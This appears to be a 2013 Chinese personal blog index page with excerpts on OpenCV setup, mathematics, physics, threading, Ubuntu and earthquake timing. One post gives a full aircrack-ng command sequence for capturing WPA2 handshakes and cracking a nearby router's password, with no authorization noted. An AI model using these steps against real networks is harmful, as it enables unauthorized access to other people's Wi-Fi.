Changkun's Blog欧长坤的博客

Science and art, life in between.科学与艺术,生活在其间。

  • Home首页
  • Ideas想法
  • Posts文章
  • Tags标签
  • Bio关于
Changkun Ou

Changkun Ou

Human-AI interaction researcher, engineer, and writer.人机交互研究者、工程师、写作者。

Bridging HCI, AI, and systems programming. Building intelligent human-in-the-loop optimization systems. Informed by psychology, philosophy, and social science.连接人机交互、AI 与系统编程。构建智能的人在环优化系统。融合心理学、哲学与社会科学。

Science and art, life in between.科学与艺术,生活在其间。

276 Blogs博客
165 Tags标签
Changkun's Blog欧长坤的博客

在 Mac 中配置OpenCV

Published at发布于:: 2013-08-26   |   Reading阅读:: 2 min
笔者初次配置Mac下的OpenCV过程中花了很多精力,出现了很多状况,这些状况在互联网上根本不存在统一说法甚至没有,关于Mac下的OpenCV的各类文献都年代久远且OpenCV更新换代较快导致它们都严重过期。本文则希望能够帮助初次配置OpenCV for Mac少走弯路。 本文平台:Macbook Air 2013 OS X 10.8.4, OpenCV 4.6.1 本文时间:2013-08-26 方法已经过期, 可供观赏, 请不要模仿 第一步:安装Xcode及关键组件 OpenCV在Mackintosh中的配置不同与windows,需要自行在Mac下编译OpenCV。首先我们要保证完整的安装好Xcode。之所以是要求完整,是因为在App Store中下载的Xcode很多组建并未安装成功,在菜单栏中:Xcode-Preferences-Downloads-Components,安装Command Line Tools,安装完成这个后我们才能在接下来的步骤(CMake阶段)顺利进行。 第二步:安装、配置Homebrew和cmake 经常使用Ubuntu的同志们都知道sudo apt-get install命令,Mac下知名的有Homebrew(http://brew.sh/)、Macport。Homebrew使用的是ruby比macport更为优越,因此我们安装Homebrew,打开Mac下的终端,输入: 1 ruby -e "$(curl -fsSL https://raw.github.com/mxcl/homebrew/go)" 安装完成后,继续输入: 1 2 brew selfupdate brew install cmake 第三步:编译与安装OpenCV 由于brew中的OpenCV做过调整,无法直接使用brew install opencv直接安装opencv,因此安装完cmake后,在官网(http://opencv.org/)上下载适用于Mac平台的源。管网上的下载对于新手来说或许具有迷惑性,有一个OpenCV for linux/Mac,还有一个 OpenCV for iOS(这个适用于在iOS平台上的开发),我们是Mackintosh自然选择前者。 解压完成后会看到上图所展示的文件夹,在终端中使用cd和ls两命令配合进入该文件夹中,例如:我的opencv位于如图位置: 在终端中,进入该目录下:(注意:由于我已经编译完成过,所以多了一个build文件夹) 这时通过cmake来编译opencv: 1 2 3 4 5 mkdir build cd build cmake -G "Unix Makefiles" .
Read More阅读更多 »

从两个例子谈起:条件收敛与一致收敛的深刻背景分析

Published at发布于:: 2013-07-29   |   Reading阅读:: 1 min
条件收敛和一致收敛 无穷级数理论作为一种工具很有它发明(我们不去讨论它到底是发明还是发现)的必要性。 而一致收敛的引入在现在的数学分析教材上已经变得彻底避而不谈。我们先来讨论一下条件收敛引入的必要性。 我们先来看一个例子,我们知道: $$ f(n) = 1 - \frac{1}{2} + \frac{1}{3} - \cdots + \left( -1 \right)^{n+1}\frac{1}{n} + \cdots = \ln 2 $$ 我们把左边的式子做一些小小的变动,我们把交换一些项的顺序那么: $$ \begin{split} f(n) &= 1 - \frac{1}{2} + \frac{1}{3} - \frac{1}{4} + \frac{1}{5} - \frac{1}{6} + \frac{1}{7} \cdots + \left( -1 \right)^{n+1}\frac{1}{n} + \cdots \ &= \left( 1 - \frac{1}{2} \right) - \frac{1}{4} + \left( \frac{1}{3} - \frac{1}{6} \right) - \frac{1}{8} + \left( \frac{1}{5} - \frac{1}{10} \right) - \frac{1}{12} + \cdots \ &= \frac{1}{2} - \frac{1}{4} + \frac{1}{6} - \frac{1}{8} + \cdots \ &= \frac{1}{2} f(n) \ &= \frac{1}{2} \ln 2 \end{split} $$
Read More阅读更多 »

大一总结

Published at发布于:: 2013-07-10   |   Reading阅读:: 1 min
我发现我这人好像特别好这口,大一生活已经过去了,回头想想高考填志愿似乎还是昨天的事情,转眼就要开始迎接学弟学 妹们了。我想是时候该模糊的简短的总结总结这一年的所谓风雨兼程了。 生活 开篇自然应该从校园生活谈起吧,大学开学的时候有一个非常“仁慈”的销售小姐这么问我:“你准备怎样度过你的大学四年?”当时我毫不犹豫的回答到:“学习”。我至今都十分清晰的记得我当时的心态(现在回想起来这位销售小姐期望我回答她想要拓宽人脉找到好的工作之类的,因为这样我这个客户就会自然而然的跳进她的圈子里),我因为某些历史原因进了计算机专业,到这个时候我甚至对计算机这个专业的了解程度趋近于零,尽管高中阶段受同学的影响接触过“Hello World”。所以后来这个销售小姐看我基本上上不了她的圈就以“根本不想和你这种人交流”为由把我给打发走了(或许我确实比较惹人烦呢)。 开始大学生活后我才知道真正感受到“地球Online”的复杂性,我才真正感受到以前的我是生活在天真的梦里。大学里的大学生们代表了一个时代,来自不同地域的同学们怀揣着各自的思想,在大学里产生激烈的碰撞,正在为这个时代创造新的事物。 学习 我是什么时候爱上科学、以至于现在狂热到无法自拔?我已经记不起来了。但是有三个人是脱不了干系的,我的父亲以及我的两位数学老师。我的父亲在我小学的时候代领我领略过从已知到未知(未知的引入),初中老师指点我从实在到虚无(数系的扩充),高中老师指明我从形象到抽象(抽象的结构)。 大学一年中逐渐认识到计算机科学后便一步步思考了太多太多想干的事,但是受到生活上那些逃避不了的事,并没有干出太多重要的事情出来,直到这个学期一半过去了之后才最终选定方向。 回过头来想想这一年某种程度上能够算称得上是虚无缥缈。因为有课的日子上完课回到寝室便打开了电脑,统计下来一个学期花在学习上的日子算下来估计不超过三个星期,剩下的时间便是“消磨”在互联网中。一年中我逐渐认识到了以前我在小县城里面从未感受到的科技氛围。 高三那会儿无非就是每天对着一堆无聊的试卷,甚至我真正接触安卓的时候还才是高二买了Defy,自然也就不知道 Google I/O、WWDC 什么的。这一年中又逐步了解到了很多移动设备的知识(其实就是看了很多很多的评测),介绍这些的人带有不同的观点看法,通过互联网的形式向外界展示,这些不同的观点在我大脑中筛选、重组。通过这些,我甚至还接触到了工业设计、商业等知识,极大限度的满足了我闲暇的无聊时光。 计划 计划匿于心。 写在后面的 Here’s to the crazy ones. The misfits. The rebels. The troublemakers. The round pegs in the square holes. The ones who see things differently. They’re not fond of rules. And they have no respect for the status quo. You can quote them, disagree with them, glorify or vilify them. About the only thing you can’t do is ignore them.
Read More阅读更多 »

陈老爷子

Published at发布于:: 2013-06-10   |   Reading阅读:: 1 min
我对陈老爷子的了解不过是在各大社交网络上道听途说,不过足矣让我产生对他老爷子的无比敬意,因此我还是想写一篇日志来记一记。 “这是我们三个学期的总结,是我们数学分析课的最后一节,也是我个人的最后一节课!”——陈天权 陈老爷子的数学分析课划上了句号,即便我没有听到过他的课,心里也还是有点失落,不知道为什么,可能就是因为上面的这一句话吧。对于一个年过古稀的老人,讲台上的一生也许比这灯光更加的璀璨吧。 有人说陈老上课太磨蹭,老讲一些数学史什么的,对于我来说,数学史这个东西就是一种数学素养,如果一个人连自己所研究的问题的过去是什么都不清楚,那么那些前车之鉴也就无从得知了。网上的同学们说,陈老上课讲数学史,更多的是对我们这一代的“21世纪的数学家”的一种希冀和展望,希望我们不要重复以往的错误,而要汲取成功的经验: Gottingen的四杰,Gauss,Dirichlet,Riemann,Hilbert,他们一直传承者这所学校的精神衣钵,网上的朋友说陈老总是讲Riemann的故事,包括Hilbert怎样发展Riemann的工作,并且解决了Weierstrass对于Riemann的博士论文提出的问题,可以说这四位数学家的工作都很卓越。这四位都可以称为数学家,他们在数学的各个领域都有很深的研究和很大的建树,奠定了几个世纪的数学发展脉络和基础。 陈省身的老师Elie Cartan,是公认的20世纪伟大的几何学大师,是他创造性的认识到了Grassmann的重线性代数理论的重要性,并且将重线性代数用于发展外微分和外代数。开始的时候,Grassmann的理论并不受到人们的重视,也许除了Mobius之外,同时代的数学家都没有注意。Cartan的理论出来后,依然没有多少人注意。直到Hilbert的大弟子Hermann Weyl将外代数大规模用到自己的工作中,人们才意识到了外微分的重要性。陈省身自己说,当时Cartan给了他三道题,他一道也不会做,“后来,我终于弄懂了Cartan的那一套”。 Newton是Barrow的学生,Newton和Leibniz同时独立的做出了微积分基本定理,但是却为了优先权争得不可开交,后来,Bernoulli在Barrow的讲义中找到了微积分基本定理的雏形,但是这场争端并没有因为这个而停下。Newton的朋友一起攻击Leibniz集团,说他抄袭了Newton的文章……从历史的发展上面,这场战争没有真正的赢家,欧洲大陆上的数学家们接受了Leibniz的简单的符号,于是在他之后诞生了像Euler,Lagrange,Laplace,Legendre,Gauss等等的大数学家,而在英伦三岛上面却没有能与这些人相提并论的哪怕一位数学家。 Einstein花了七年的时间搞懂了Riemann几何,当时他去向他的老师Minkowski询问有关相对论的想法,Minkowski告诉他需要去看Riemann几何。七年后,当他把自己的成果弄成一个小册子给当时的量子力学家Max Bone看的时候,Max正在旅行结婚,由于总是研究这个小册子,Max的新娘甚至发火了…… 数学是一种科学的科学,更是一种文化,与其说数学是一种科学,不如说数学是一门数的哲学。我觉得,也许陈老想要告诉我们的就是这样一种理念吧。网上的同学说他们有一次的答疑课上,陈老告诉他们,他从59年第一次站上讲台讲习题课,到今年已经有52个年头了,清华北大都呆过,今年应该是最后一年了。后来陈老笑着让他们给他的书提提意见,他好回去修改。听到这里,瞬间有些心酸了。为祖国健康工作五十年,他,是一个标杆。实话说,当时我在贴吧里面听到网友推荐陈老的这套讲义时,第三本还没出版。拿到头两本的时候,刚开始真心很难,很难,难到难以置信,国内没有任何一本书能够比得过陈老的这本。所以后来第三册出版的时候我迫不及待的在网上唯一能买到的网站上下了单。等了半个月的平邮才拿到第三册。拿到的时候确实很兴奋。毕竟从那书后面一长串的参考书目,陈老在这本书上倾注了很多的心血。即使没有见过这样一个老师,能够读到他的书,觉得没有白白度过!

物理世界是离散的却为什么可以大量的使用微分和积分?

Published at发布于:: 2013-05-27   |   Reading阅读:: 1 min
学习物理的时候可能会有如下疑问: 1、难道物理上可以证明不可测点集的测度为0吗? 2、或者说物理的核心理念仅仅在于构建数学模型却只在乎实验结果是否吻合? 3、究竟是数学物理模型决定了这个世界,还是这个世界决定了数学物理模型,如果我们用一堆连续的理论得出了一切都是离散的结论? 以下内容转载自: http://www.guokr.com/question/465025/ https://www.zhihu.com/question/21274309 至于物理世界到底是连续的还是离散的,目前还暂无定论,相关的实验还在进行中(貌似是哪一期《环球科学》上看到的,用的是Michelson干涉仪的一个超级强化版)。 所谓物理世界是连续的,不要被“量子力学”所误导。“量子”说的只是本来认为是连续的一些量_在一定的条件下_量子化了。例如束缚于原子内的电子,其能量是量子化的,但是自由电子的能量还是可以任意连续取值的。事实上,量子场论甚至把一些经典意义上离散的东西连续化了,例如“点粒子”。 因为说白了讲,量子力学的核心——薛定谔方程,是连续的,而它的量子化性质,是我们给它加以定态限制后才显现出来的。 这里要说说普朗克长度和普朗克时间。顾名思义,普朗克长度是由普朗克同学提出的,而它的起因是这位同学比较懒,希望计算时不要捣鼓那么多的物理常数,因此创造了一个新的单位制,其中G啊c啊什么的都等于1(详见http://zh.wikipedia.org/wiki/普朗克單位制)。而普朗克长度和普朗克时间即是其中的长度和时间单位。 由于在SI单位制下,普朗克长度同时包含了引力常量与普朗克常量,它的尺度很自然地便有了一定的物理意义。通行的解释是:在小于普朗克尺度的空间内,引力将会表现出量子效应。然而广义相对论已经把引力与时空画上了等号,因此这句话可以转述成:在小于普朗克尺度的空间内,时空将会表现出量子效应。 …由此而推出“时空是离散的,其基本单位是普朗克长度和普朗克时间”,似乎还不是那么令人信服(再次强调,“量子效应”不等于“xxx是量子化的”)。 退一步的说法是:小于普朗克尺度的时空不是现有理论(量子力学+广义相对论)所能描述的,对它的理解,有待于更好的量子引力理论。 弦论,就我的理解,试图通过为小于普朗克尺度的时空增添维度来解决这一问题。 其他众多理论我不熟悉,但认为时空确实是量子化的理论肯定是有的。好像有一个就叫“格点量子力学”,它的离散性可是写在名字里的。 如果时空真的是离散的,那么理论上我们就可以使用计算机搭建格点模型精确地模拟出一个“小”宇宙。而如果上述为真,那么我们的宇宙本身便很有可能是一个程序模拟。继续推下去,一个有趣但不那么严谨的结论便是:由于不管是连续还是离散的宇宙的智慧生物理论上都有能力模拟出一个离散的宇宙,因此随便挑一个宇宙(例如我们这个),它是离散的的概率要远大于它是连续的的概率。 至于如果宇宙真是离散,为何能使用微积分?早先物理学家还认为物质是连续分布的呢,他们推出的连续体力学、流体力学等等的结论,不是现在还适用吗?还是一个近似以及我们关心的精度的问题。 然而诚然对离散分布的物质不能进行积分,我们必须考虑一个尺度问题。一般来说,在宏观尺度(阿伏加德罗常数)上,连续和离散的区别已是微乎其微了。个别原因,在于物理上的“微元”,与数学上的dx, dt的含义是不同的。物理上的微元不需要严苛地趋向于0,它只需相对我们关心的尺度非常非常小就可以了(“无穷大”也有同样的情况)。譬如研究流体力学,我们往往会取一小块“质元”当作dm。然而就这一块质元可能就包含了几万亿个分子——这没关系,只要相比我们关心的尺度($10^{23}$个分子)小得多就行了。如果非要一个一个分子去分析,岂不是要烦死? 所以但凡你看到一个物理的微分方程,你都要明白它实质上是一个差分,只是因为∆足够小,我们便把它换成了d以简化计算(实际上,很多物理方程的导出,就是循着“先差分,再把所有∆换成d”的做法来的)。换言之,物理方程必然是有一定的尺度范围的——不管这范围是已知还是未知。你硬要把描述宏观物体的热力学方程套到一两个原子组成的系统上,不失效才怪呢。 那么多小是“足够小”——或者说,多大的尺度是“足够大”?有时我们是通过定性地比较一些“标准尺度”,例如上面一直谈及的阿伏加德罗常数,例如普朗克长度和普朗克时间。当然更多情况下我们可以通过实验验证。

多线程之间的通信 GPU计算 单摄像头图像识别 初步思考

Published at发布于:: 2013-05-24   |   Reading阅读:: 1 min
多线程通信 今天意识到多线程之间的一个明显的问题。 多个线程之间的消息如果实现共享,那么就有可能彼此抓住这个消息不放,从而导致所有使用该资源的线程全部瘫痪。 一个很简单的比方就是: 如果一桌人围着吃饭,但是只有一双筷子,每只筷子分别放在桌子的两端。当一桌人同时去抢某个筷子的时候,只有几个人抓到一些单独的筷子,而不是一双完整的筷子,这时候导致一桌人都没办法吃饭(当抓到的某个筷子被释放,很有可能被其他的人(线程)给抢走)。 于是,一个很自然的问题就是在多个线程的通信当中,建立一组实时(很重要)的通信方法,而这个貌似需要操作系统的知识,慢慢再看。 至于为什么是实时显得尤为重要,举个很简单的例子: 在一个音乐播放器当中,如果我的歌词不是去调用歌词文件(有时间标尺),而是通过歌曲的播放进程来“通知”歌词显示线程一件事实:“我已经播放到这里了”。这时显示歌词的线程才开始响应,从而才去显示歌词。而这时歌曲的播放已经进行一段了,从而导致延迟的效果。 而且这个延迟会随着使用环境的不同时好时坏,当资源通信状态良好时,延迟不会过大,而当使用环境非常恶劣时,很有可能显示歌词的线程在过了很长一段时间后才收到歌曲播放线程发来的消息。 所以,我们非常希望能够使得两个线程之间是“同步通信”或称“并行”的,而不是某个线程做出行动后才去通知另一个线程它应该开始有所行动了。 写的过程中又想到一种不建立实时通信也能够达到很好的并行效果的方法(只适用于某只线程运算较为复杂时): 当某个复杂线程开始进行反复运算时,在每一次通信的过程中,我都提前一次运算的时间(开始运算时就提醒)上提醒另一只线程该有所作为(提醒后开始),当这次运算结束时进入下一步运算,被提醒的线程已经完成了它的工作。 刚又想到还是存在致命的弱点,随着处理芯片的不同有可能出现很奇葩的不同步。(以后再想想有没有好的适配方法(毕竟这个实现起来比较简单),或者抛弃这个方案) GPU计算 写这里的时候查了一下我这个显卡(GT650M)的流处理单元的个数,作为笔记本显卡,384还算是一个比较靠谱的值了。 至于为什么要有这个想法的诞生,其实是我在做部分图像处理的时候遇到比较头疼的问题:运算速度太慢。 如果我在处理某个图像的时候能够把一部分运算分担给GPU的话,这样CPU就会显得稍微轻松许多。 然后我查了一下关于GPU计算的信息,发现这货居然是NVIDIA先提出来的。奶奶的要是我早生几年就好了,NVIDIA的官网,很多年前NVIDIA曾今生产过并行显卡(只有并行显卡才可以使用GPU计算,原因之前已经说了),后来在官网上放了很多的例子和一些事例代码来辅助并鼓励很多开发者来使用GPU计算的强大功能。后来又不知道什么原因NVIDIA居然一段时间制造的显卡是串行显卡,于是这个GPU计算的功能荒废了一阵(原因没有考究),后来NVIDIA看见AMD也开始在GPU计算上发力,于是最近几年又开始转向GPU计算的研发并且高速发展(事实上NVIDIA比AMD在GPU计算上强了不止一点两点)。 于是我找到NVIDIA官网上一些例子发现根本用不了(远古代码,根本不支持新驱动,NVIDIA),感叹怪不得现在很多人研究这个。 很多人声称提高运行速度不止一倍两倍,是好几十倍,(根本没有源码叫我怎么验证、、说不定你说的好几十倍是最好的结果)因为关于GPU计算方面的内容多半出现在论文当中,至少Google是这么告诉我的。不过这方面的技术貌似还是受到各种限制,如果需要将大量信息流发送到显卡中让显卡来进行计算,系统总线岂不是要爆了? 万一我要处理好几个G的信息怎么办?所以这方面技术目前占时还受到一些限制、、慢慢去了解这个东西吧、 单摄像头图像识别 最后来谈一下单摄像头手势识别的问题,网上搜到很多所谓学者在研究这个事情,如果把一个手势从复杂多变的背景当中剥离出来。 要是我解决了岂不是这些人得恨死我?他们上哪儿吃饭去?因为这个主要讲究识别率的问题,如果一个手势识别率仅仅30%一下这还有什么识别的意义,不就相当于猜了么。 单个摄像头一直存在瓶颈就是没有办法判断井深,如果是两个摄像头就好解决了。其实我主要想了几个方案,由于没有实验过,也只是处于理论阶段。 方案1: 单个画面的运动物体捕捉总体来说可以考虑在某帧画面中搜寻几个易于识别的兴趣点,然后跟踪这几个点的位置变化。 方案2: 对单帧画面进行色调分析,分析出感兴趣色调范围内的区域来响应消息队列。(和使用环境有很大影响、、这个高识别率可能或者一定存在极大的困难) 方案3: 待定 前阵子听说有学者在音频信号分离方面,证明了如果仅仅是单个麦克风采集到的多个人说话的声音信息是不可能完整分离的。(被证明了不可能,所以我很怀疑一个摄像头是不是也不能判断井深、、) 最后想吐槽一下笔记本的摄像头,为什么就不能配两个?配两个我还可以进行3D建模,甚至可以让视频通话的时候建立3D视频效果,提升高强度的用户体验。 最后的最后提醒一下自己:不要随意的跳入某个大坑,坑太大即便挖倒水了,怎么爬上去呢?

我这是要转 Ubuntu 的节奏吗

Published at发布于:: 2013-05-20   |   Reading阅读:: 1 min
破了电信还是不爽,没事上午体育课的时候鼓捣了下破路由器的密码。大爱ubuntu。 1.下载安装aircrack-ng。 sudo apt-get install aircrack-ng 2.启动无线,垃圾微软禁用开启无线,ubuntu直接调用爽歪歪,开启完成后进入ubuntu ,开一个终端,ifconfig -a看看wlan是否开启,开启正常可进行下一步。 3.准备工作完成,开始破解。开启终端1, sudo airmon-ng start wlan0sudo airodump-ng mon0 这时会看到无线的地址出现在屏幕上,这里有显示它们的mac地址以及所在频道。现在大部分的路由都是wpa2的加密方式,果断选择类型为wpa2的无线为破解对象。我们需要记录它所在的频道以及mac地址。 4.开启终端2 sudo airodump-ng –channel 【频道】 –bssid 【目标主机mac地址】 -w wpa2 mon0 这里的wpa2为默认的存包文件的名字,可以更改。 5.开启终端3 sudo aireplay-ng -1 0 -a 【目标mac】 -h 【本机MAC地址】 mon0 (本机的mac可以开启一个新的终端用ifconfig -a来查询) 这时会有成功字样显示,如果没有显示可能就是目标不支持或者系统部稳定,需要更换目标了。显示成功后进行下步。 6.继续输入 sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 【目标MAC地址】 -h 【本机MAC地址】 mon0 此时终端2中的数据会增长很快,当数据到达5000的时候就可以破解了。 7.开启终端4 sudo aircrack-ng wpa2*.cap 这时就开始破解了,如果你进行过多组,可能会有多组结果,你可以用数字123进行选择,如果不出意外你已经破解出来这组无线的密码了。 8.最后 结束监控过程 sudo airmon-ng stop mon0 ( sudo airomon-ng check可以查看你开启了多少监控,如果运行多组的时候可以查看后选择关闭)。

结构体排序引发的一连串问题

Published at发布于:: 2013-05-07   |   Reading阅读:: 4 min
1 2 3 4 5 6 7 8 9 10 11 12 题目: 给出n个仅由小写字幕构成的字符串,仅按其首字母排序。(若首字母相同,则直接维持原来的顺序。) 输入格式: 第一行为n。 接下来n行,每行一个串。 输出格式: n行,按排好的顺序,每行一个串。 数据规定: n <= 1000, 串长小于100000。 话说这题前前后后每周大概抽两个小时来搞这题,未怀疑过评测系统出问题,因为我看见老师过了。 前前后后拖了一个月的时间。 放上最终的代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <iostream>#include <fstream>#include <cstdio>#include <cstdlib>#include <cstring>#include <cmath>#include <climits>#include <string>#include <algorithm>#include <vector>#include <map>#include <time.
Read More阅读更多 »

Ubuntu 相关

Published at发布于:: 2013-05-06   |   Reading阅读:: 1 min
今天突然想到了在linux下用wireshark对电信账号进行抓包。 于是果断掏出柜子里放了很久的电脑。 以前安装ubuntu挺好的,今天试了好几个小时发现都装不到电脑里面,无奈之下格掉了整个硬盘,从U盘进winPE然后用iso的那个软件 制作u盘启动(直接搞死活不行)。 装好了ubuntu后又遇到了很多问题: 问题: 无法从终端使用命令su切换到root权限 解决办法: 1 2 3 sudo passwd [密码] [密码] 在Ubuntu 里面安装了wireshark 发现直接在普通用户下运行wireshark。不能启用抓包。会提示: 1 ubuntu/wireshark: There are no interfaces on which a capture can be done. 然后郁闷了很久,就想到会不会是权限不够,于是在终端里面: 1 sudo wireshark 果然可以进行抓包了,但是TNND还是有报错: 1 Lua: Error during loading: [string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled 然后非常的不爽。 然后跟踪这个路径找到init.lua这个文件。 1 vim /usr/share/wireshark/init.lua 在倒数第二行把
Read More阅读更多 »

逃生时间初算

Published at发布于:: 2013-04-20   |   Reading阅读:: 1 min
google地图告诉我:双流县距离雅安大约110km。 地震发生时,首先是从震源 P波(纵波)跟S波(横波)2个地震波发生。 P波在地壳的浅层以毎秒約6km的速度, S波以毎秒3.5km的速度传播. P波到达双流的时间大致为:110 / 6 = 18s S波到达双流的时间大致为:110 / 3.5 = 31s 所以当我们感到轻微晃动的时候,最坏的情况下还有31-18 = 13s的时间用于逃生、 我们人的反应时间是1s。 住在四楼以上的同学们洗洗睡吧。。不要想着逃跑了。。 根据专家报道。。震动在地下13公里。。 根据勾股定理,实际传播距离会多出大约一公里。。。好吧忽略了。。
19 20 21 22 23 24 25 26 27
© 2008 - 2026 Changkun Ou. All rights reserved.保留所有权利。 | PV/UV: /
0%